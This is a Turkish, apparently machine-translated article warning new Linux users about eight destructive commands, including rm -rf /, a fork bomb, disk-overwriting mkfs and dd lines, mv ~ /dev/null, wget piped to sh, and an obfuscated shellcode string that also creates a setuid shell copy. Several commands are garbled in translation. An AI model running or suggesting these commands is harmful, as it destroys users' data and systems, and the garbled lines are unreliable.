Linux'ta Çalışmamam gereken 8 Ölümcül Komut

İçindekiler:

Video: Linux'ta Çalışmamam gereken 8 Ölümcül Komut

Video: Linux'ta Çalışmamam gereken 8 Ölümcül Komut
Video: Gmail'den Çıkış yapma işlemi.Google hesabı silme ve Kaldırma Nasıl Yapılır? 2024, Mart
Linux'ta Çalışmamam gereken 8 Ölümcül Komut
Linux'ta Çalışmamam gereken 8 Ölümcül Komut
Anonim
Linux’un terminal komutları güçlüdür ve sisteminizi bozacak bir komut çalıştırırsanız, Linux sizden onay istemez. Yeni Linux kullanıcılarının bu şakaları bir şaka olarak çalıştırmasını öneren çevrimiçi trolleri görmek nadir değildir.
Linux’un terminal komutları güçlüdür ve sisteminizi bozacak bir komut çalıştırırsanız, Linux sizden onay istemez. Yeni Linux kullanıcılarının bu şakaları bir şaka olarak çalıştırmasını öneren çevrimiçi trolleri görmek nadir değildir.

Çalışmamanız gereken komutları öğrenmek, Linux'un nasıl çalıştığını anlamanızı artırırken trollerden korunmanıza yardımcı olabilir. Bu kapsamlı bir kılavuz değildir ve buradaki komutlar çeşitli şekillerde yeniden karıştırılabilir.

Bu komutların çoğunun, yalnızca ön ekliyse tehlikeli olacağını unutmayın. sudo Ubuntu'da - aksi takdirde çalışmazlar. Diğer Linux dağıtımlarında, çoğu komut kök olarak çalıştırılmalıdır.

rm -rf / - Her şeyi siler!

Komuta rm -rf / Sabit sürücünüzdeki dosyalar ve bağlı çıkarılabilir medya aygıtlarındaki dosyalar dahil olmak üzere, olası her şeyi siler. Bu komut bozulduğunda daha anlaşılırdır:

rm – Remove the following files.

- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

Linux bu komuta itaat edecek ve size sormadan her şeyi silecektir, bu yüzden kullanırken dikkatli olun! Rm komutu diğer tehlikeli şekillerde de kullanılabilir - rm –rf ~ ev klasörünüzdeki tüm dosyaları silebilir rm -rf. * tüm yapılandırma dosyalarınızı siler.

Ders: Rm -rf'ye dikkat edin.

Gizlenmiş rm –rf /

İşte, tüm web’deki başka bir kod snippet’idir:

char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Bu rm –rf'nin onaltılık sürümü / Bu komutu yürütmek, sanki rm –rf /.

Ders: Anlamadığınız tuhaf görünen, açıkça gizlenmiş komutları çalıştırmayın.

: () {: |: &};: - Çatal Bomba

Aşağıdaki çizgi basit görünümlü ama tehlikeli bir bash işlevidir:

:(){:|: &};:

Bu kısa çizgi, kendisinin yeni kopyalarını oluşturan bir kabuk işlevini tanımlar. Süreç sürekli kendini çoğaltır ve kopyaları sürekli olarak çoğalır ve tüm CPU zamanınızı ve belleğinizi hızla alır. Bu, bilgisayarınızın donmasına neden olabilir. Temel olarak hizmet reddi saldırısıdır.

Ders: Bash fonksiyonları güçlü, hatta çok kısa olanlardır.

Image
Image

mkfs.ext4 / dev / sda1 - Sabit Sürücüyü Biçimlendiriyor

mkfs.ext4 / dev / sda1Komutun anlaşılması kolaydır:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Birlikte ele alındığında, bu komut Windows'ta c: formatını çalıştırmaya eşdeğer olabilir - dosyaları ilk bölümünüzde siler ve yeni bir dosya sistemi ile değiştirir.

Bu komut başka şekillerde de olabilir - mkfs.ext3 / dev / sdb2 ikinci sabit diskteki ikinci bölümü ext3 dosya sistemi ile biçimlendirir.

Ders: Komutları doğrudan / dev / sd ile başlayan sabit disk aygıtlarında çalıştırmaya dikkat edin.

komut> / dev / sda - Doğrudan Sabit Sürücüye Yazıyor

komut> / dev / sda satır benzer şekilde çalışır - bir komut çalıştırır ve bu komutun çıktısını doğrudan ilk sabit sürücünüze gönderir, verileri doğrudan sabit disk sürücüsüne yazar ve dosya sisteminize zarar verir.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

Ders: Yukarıdaki gibi, / dev / sd ile başlayan sabit disk aygıtlarını içeren çalıştırma komutlarına dikkat edin.

dd if = / dev / rasgele = / dev / sda - Bir Sabit Sürücüye Önemsiz Yazıyor

dd if = / dev / rasgele = / dev / sda satır aynı zamanda sabit disklerinizden birindeki verileri de yok edecektir.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

Ders: dd verileri bir konumdan diğerine kopyalar, bu da doğrudan bir cihaza kopyalanıyorsanız tehlikeli olabilir.

Image
Image

mv ~ / dev / null - Giriş Dizini Kara Deliğe Taşıyor

/ dev / null başka bir özel konumdur - bir şeyi / dev / null'a taşıyarak onu yok etmek aynı şeydir. Karadelik olarak / dev / null düşünün. esasen, mv ~ / dev / null tüm kişisel dosyalarınızı bir kara deliğe gönderir.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

Ders: ~ Karakter, ana klasörünüzü temsil eder ve / dev / null öğelerini hareket ettirir.

wget https://example.com/something -O - | sh - Bir Script İndirme ve Çalıştır

Yukarıdaki satır web'den bir betik indirir ve komut dosyasının içeriğini yürüten sh'ye gönderir. Komut dosyasının ne olduğundan emin değilseniz veya kaynağına güvenmiyorsanız bu güvenilmez olabilir - güvenilmeyen komut dosyalarını çalıştırmayın.

wget – Downloads a file. (You may also see curl in place of wget.)

https://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

Ders: Bir komutla bile web'den güvenilmeyen komut dosyalarını indirip çalıştırmayın.

Yeni (ve deneyimli) Linux kullanıcılarının çalıştırmaması gereken diğer tehlikeli komutları biliyor musunuz? Yorum bırak ve paylaş!

Önerilen: